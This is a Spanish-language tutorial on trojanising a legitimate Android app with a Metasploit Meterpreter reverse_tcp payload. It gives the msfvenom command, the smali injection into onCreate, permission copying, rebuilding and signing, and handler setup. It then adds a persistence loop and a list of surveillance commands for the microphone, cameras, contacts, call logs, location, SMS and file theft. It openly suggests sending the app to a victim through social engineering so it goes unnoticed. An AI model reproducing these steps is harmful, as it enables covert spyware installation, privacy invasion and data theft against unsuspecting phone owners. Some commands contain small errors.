The Team

Metasploit Ejecutado En Android

El proyecto Metasploit le permite a un pentester generar cargas útiles ósea un conjunto de datos transmitidos que es en realidad el mensaje enviado (de ahora en adelante ‘payloads’) de Android con un canal de comando meterpreter altamente funcional que se puede cargar en un dispositivo Android. Normalmente, la carga de este APK se realizará a través del depurador de Android “adb“.

Desde la perspectiva de un pentester, algo divertido de hacer es combinar una aplicación legítima con Meterpreter, y cargarla en un dispositivo Android. Naturalmente, podríamos considerar enviar ese ‘malware‘a un “amigo” como un regalo o hacerlo mediante ingeniería social.

 

Hacking Android con Metasploit

Las aplicaciones de Android están escritas en Java, que se compilan en un formato ejecutable de Dalvik conocido como DEX. La versión compilada de una aplicación es un archivo ZIP de archivos de bytecode DEX. La máquina virtual Dalvik en Android se reemplazó más recientemente con Android RunTime (ART), que realiza una optimización adicional y compila el código de bytes DEX en un código de ensamblaje nativo.


En general, los pasos para incrustar un Meterpreter en un archivo APK existente son los siguientes:

1.       Encontrar una aplicación APK de diversión en “apkmirror.com” o en un sitio mirror similar.

2.       Generar el archivo APK Metasploit.

3.       Desmontar con “apktool” el archivo APK Metasploit y el archivo APK que intentas modificar.

4.       Copiar todo el código de smali de Meterpreter en el nuevo directorio smali del APK.

5.       Encontrar el punto de entrada del código dentro del archivo AndroidManifest.xml de la aplicación APK buscando la línea: <action android:name="android.intent.action.MAIN"/>

6.       Modificar el archivo “.smali” del activity para incluir una línea que inicie la etapa del Meterpreter.

7.       Copiar todos los permisos de Meterpreter del AndroidManifest.xml en el AndroidManifest.xml del APK modificado.

8.       Re-ensamblar en formato comprimido DEX.

9.       Firmar el archivo APK recién creado con “jarsigner“, y luego cargar en el dispositivo Android de la víctima.

 

 

 

Ejemplo De Payload Para Android

Es mucho más fácil entender los pasos anteriores con un ejemplo concreto.

 

Requisitos:

·         Kali Linux

·         Apktool (Integrada en Kali)

 

 

 

Descargar Un APK Legítimo

Para ilustrar esto, descarga un archivo APK de cualquier juego o aplicación en apkure.com, apkmonk.com, apkmirror.com o cualquier  otro mirror.

 

En mi caso  usaré de ejemplo Apekure que es la más  conocida y bajaremos cualquier App liviana de este servidor podría ser  HowToGuiaparaInformaticos_v1.5.apk

 

 

 

 

 

Generar tu malware APK

Luego generaré un APK Metasploit usando el comando “msfvenom” de la siguiente manera:

 

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.9 LPORT:4444 -o msf.apk

 

¿En qué consiste este comando?

 

Msfvenom es una herramienta de Metasploit que surge de una combinación de Msfpayload y Msfencode. Con esta herramienta mediante el flag -p especificaremos que se hará uso de un Payload con el cual atacaremos nuestro  teléfono objetivo, en nuestro caso: meterpreter.

 

Payload es la parte que realiza la acción dañina en un virus, es decir, la que desencadena el efecto de un exploit.

 

Lo siguiente en este comando ha sido seleccionar el Stager a utilizar, en este caso hemos usado reverse_tcp, el cual nos permitirá reservar una zona en memoria y realizar una conexión. En esta zona es donde se guarda el Payload que generaremos.

 

LHOST y LPORT son básicamente la ip y puerto donde recibiremos los datos enviados remotamente por el teléfono atacado. EL Puerto puede ser a elección propia, en este caso se escogió el Puerto 9000 de manera aleatoria.

 

Finalmente mediante el flag R > <lugar donde guardaremos el apk>/<nombre apk>.apk, especificaremos donde quedará alojado nuestro apk y el nombre de este.

 

Obtendremos algo así:

 

 

 

 

Desmontar los archivos APK

-como por lo general en kali Linux nos descarga en downloas lo movemos a el escritorio para más facilidad luego utilizaremos el comando apktool.

¿Qué es apktool?

Es una herramienta para ingeniería reversa de binarios en aplicaciones Andriod.

Puede decodificar recursos lo más próximo a su forma original y reconstruirlo para luego realizar algunas modificaciones; es posible depurar pequeños fragmentos de código paso a paso.

 

También permite trabajar con la aplicación de manera sencilla debido a la estructura de archivos en forma de proyectos y automatizar algunas tareas repetitivas como reconstruir apk’s.

Decodifica r recursos  lo más próximo a su forma original (incluyendo recursos, arsc, .png, etc) para luego reconstruirlos.

Para que nos corra bien la apktool lo podemos reinstalar para que tome la última versión ejecutando los siguientes  comandos:

****instalación simple de apktool****

--video de donde tome los procesos de instalación---

https://www.youtube.com/watch?v=ao7wHPUWHCU

1. cd /usr/local/bin

2. curl https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool

Luego agregamos > apktool

3. escribimos lo siguiente: wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.4.0.jar

4. Luego ejecutamos el siguiente comando: mv apktool_2.4.0.jar apktool.jar  damos en enter

5. Y por último damos permisos a los archivos que hemos descargados con: chmod +x apktool

 

 

 

 

 

 

 

 

 

 

 

 

Para que la extensión no quede muy larga a la hora de llamar la ruta, reduzca el nombre de la apk original asi

HowToGuiaparaInformaticos_v1.5_apkpure.com.apk  renombramos claro si queremos a HowToGuiaparaInformaticos_v1.5.apk

 

 

Ahora ambos archivos (APK ‘original’ y APK ‘malware’) se desmontaron usando “apktool” de la siguiente manera:

apktool d HowToGuiaparaInformaticos_v1.5.apk

y

apktool d msf.apk

 

Si no les llegase a funcionar el apktool colocar los siguientes comandos:

 

1.  cd /usr/local/bin

2.  curl https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool

Y  agregamos > apktool

 

3.  escribimos lo siguiente:  wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.4.0.jar

 

4.   luego mv apktool_2.4.0.jar apktool.jar  damos en enter

 

5. Y por último  damos permisos a los archivos que hemos descargados con: chmod +x apktool

 

 

 

 

 

 

 

 

 

 

Lista de archivos que debería arrojarnos, aunque cambiaran según la aplicación que utilicemos

 

Copiar el código de malware a la aplicación original

Una forma fácil de hacer esto  es cambiar el directorio del Metasploit APK y luego copiar todos los archivos bajo el directorio “smali” en el directorio, para mi caso en la carpeta que nos quedó en el escritorio HowtoGuíaparaInformáticos_v1.5

Un truco para hacer una copia de seguridad de árboles de directorios completos es usar el comando “tar”, ¿cómo así? pues puedes canalizar la salida de tar en un segundo comando que cambia de directorio y “untars” los archivos resultantes.

 

//Primero nos ubicaremos en el directorio de msf

cd msf/

ar -cf - ./smali | (cd ../HowToGuiaparaInformaticos; tar -xpf - )

 

 

 

Encontrar la Actividad EntryPoint

A continuación podemos ver que la actividad de la entrada aparece como “com.esgeeks.howto_informaticos.ui.activity.IntroActivity“. Lo sabemos porque el XML contiene un filtro con “android.intent.action.MAIN” dentro de él.

grep -B2 "MAIN" AndroidManifest.xml

 

 

 

¿Qué  es  Smali?

 

Las aplicaciones Android contienen ficheros .dex (Dalvik EXecutable). Estos ficheros se pueden descompilar para obtener un código de bajo nivel llamado Dalvik Bytecode. Utilizando smali/baksmali (ensamblador/desensamblador) se puede obtener una representación en un lenguaje de bajo nivel con el que se puede trabajar más fácilmente, al cual llamaremos código Smali. Hoy en día, apktool ya incorpora smali/baksmali, por lo que será suficiente con desempaquetar el fichero .apk con apktool para obtener el código Smali.

 

Modificar el archivo smali del EntryPoint

Como se puede ver arriba, en este caso, el archivo se llama “IntroActivity.smali” (generalmente suelen llamarse “MainActivity.smali”, así que dependerá de la aplicación) y se ubicará en el directorio “com.facebook.lite.MainActivity” según los puntos (“.”) En la ruta de clase completamente calificada.

 

Ejecutamos

cd smali/com/esgeeks/howto_informaticos/ui/activity/

ls -l IntroActivity.smali

 

 

 

 

Editamos Y dentro del archivo “IntroActivity.smali “, buscamos el método “onCreate()“.

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

 

Necesitamos agregar una sola línea de código justo debajo de la llamada al método “onCreate()” para invocar nuestra etapa

Meterpreter.

 

 

 

 

 

Agregar permisos al archivo APK modificado “AndroidManifest.xml”

Para el siguiente paso, usa grep para buscar todas las líneas en el archivo “AndroidManfest.xml” del Metasploit (msf.apk) que contienen los strings “uses-permission” y “uses-feature” y luego copiarlas.

 

cat AndroidManifest.xml | grep "uses-permission"

 

 

 

 

Nos vamos a la carpeta de nuestra apk infectada. Usamos un editor para insertar los permisos en el lugar adecuado busca el archivo “AndroidManifest.xml”(del APK modificada HowtoGuíaparaInformáticos). Busca una línea “uses-permission” y después de la última coloca algo así “nuevos permisos” y copia y pega de la terminal los permisos obtenidos. Si ves algún permiso repetido solo elimínalo

 

Te debería quedar algo asi

 

Podría terminar con algunos permisos duplicados. Opcionalmente puedes eliminarlos pero realmente no importa.

Construir el nuevo archivo de paquete APK

Ahora usa “apktool” de nuevo para volver a ensamblar el archivo resultante del paquete APK. El resultado final se escribirá en un directorio “dist” dentro del propio directorio del APK.

Ahora empaquetamos todo el contenido en la nueva apk con todo el contenido malicioso

apktool b HowToGuiaparaInformaticos

 

En caso de presentarse un error, agrega este comando y vuelve a ejecutar el anterior:

apktool empty-framework-dir –force

Y vuelva a firmar el archivo del paquete resultante

Nos vamos a la ruta para con ls –l para que nos muestre información del anterior proceso y sus cambios

ls -l HowToGuiaparaInformaticos/dist/

 

Un método sencillo es utilizar la “keytool” de Java para generar tu propio repositorio de claves auto firmado y luego firmarlo con la herramienta “jarsigner” como se muestra en las capturas de pantalla a continuación.

 

keytool -genkey -v -keystore howto.keystore -alias howto -keyalg RSA -keysize 2048 -validity 10000

Si no les llegase a funcionar simplemente ejecutar los siguientes comandos

apt-get install lib32stdc++6 lib32ncurses5 lib32z1

apt-get install zipalign

 

 

 

 

En caso de que no les funcionara el jarsigner ejecutar lo siguientes comandos

sudo apt-get update

Installing the JDK:

sudo apt-get install openjdk-8-jdk

Checking the Java version:

java -version

JDK home directory:

cd /usr/lob/jvm/java-1.8.0-openjdk-amd64/bin

Claves de auto firmado con keytool ok

Si quisiéramos restaurar las claves utilizaríamos el siguiente comando

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore howto.keystore

Finalmente, el archivo “FacebookLite_Original.apk” está listo para ser enviado e instalado en un dispositivo Android víctima.

 

 

Ya con nuestra aplicación lista simplemente nos queda compartirla a  nuestra victima para que la instale y como ya tiene todos los protocolos de seguridad instalados para no levantar sospecha pasara desapercibida nuestra apk “original “

 

Obtener una sesión de meterpreter

El paso final es, por supuesto, probar nuestra aplicación recién infectada. Ya dentro de la consola de Metasploit ingresaremos a  ejecutar use xploit/multi/handler

 

¿Pero qué es un handler?

 

Bueno, un handler en Metasploit es con lo cual estableceremos una conexión con el objetivo. Dependiendo del Payload que se utilice, el handler puede ser de escucha o recepción (gracias a un reverse Payload) o puede iniciar una conexión con un host a un Puerto específico (gracias a un bind Payload).

 

Descubrí entonces que, en el momento en que inicié la app, se obtiene un shell Meterpreter en el sistema KALI. Antes que nada, ejecutamos lo siguiente:

/etc/init.d/postgresql start

msfconsole

use exploit/multi/handler

set PAYLOAD android/meterpreter/reverse_tcp

set LHOST  192.168.1.9

set LPORT 4444

exploit

 

Cuando ya hemos configurado cada parte, arrancamos el exploit con el comando exploit, con el cual, al haber hecho uso de reverse_tcp  quedará a la escucha de la próxima conexión que se establezca.

Veremos algo así:

 

 

 

Ahora es momento de instalar la aplicación en el teléfono objetivo. Hay muchas maneras pero para fines prácticos de este tutorial simplemente he instalado el .apk en el teléfono manualmente aunque hay miles de maneras para que la víctima lo ejecute y eso nos daría total acceso

 

 

Ya habiendo instalado la aplicación deberíamos ver un icono que se llame MainActivity dentro de nuestro teléfono, al ejecutarlo no abrirá ninguna ventana pero sí se establecerá por fin la conexión con nuestra consola Metasploit.

 

Sesión de meterpreter para Android

 

 

Si queremos tener persistente nuestra conexión entonces ejecutaremos  el siguiente comando

shell

 

#!/bin/bash

while :

do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity

sleep 20

done

 

¡Ahora sí! Tenemos acceso remoto al dispositivo Android:

Podremos ejecutar los siguientes comandos para comenzar a obtener información de nuestra herramienta y monitorear fácilmente a nuestra victima

Help  ---  sysinfo  --- 

--Graba Micrófono 20 seg--

record_mic -d 20

--Listar las webcam--

webcam_list

--Tomar foto con cámara trasera--

webcam_snap

--Tomar foto con cámara delantera--

webcam_snap -i 2

--video cámara delantera--

webcam_stream –I 2

--Extraer registro de llamadas--

dump_calllog

--Extraer contactos--

dump_contacts

--Extraer registro de llamadas--

dump_calllog

--enviar Mensajito--

send_sms -d Numero destino -t "Prueba en clase"

--Audio mínimo--

set_audio_mode -m 0

--Audio Máximo--

set_audio_mode -m 2

--Ocultar icono en launcher--

hide_app_icon

--Ubicacion "para ver la ubicación el GPS tendrá que estar encendido".--

geolocate -g

--Traernos archivo del teléfono--

cd /sdcard/emulated/0/download

--subir archivo--

upload Nombredelarchivo

--bajar archivo--

download nombre del archivo

--copiar directorio--

 

download /storage/emulated/0/DCIM/Camera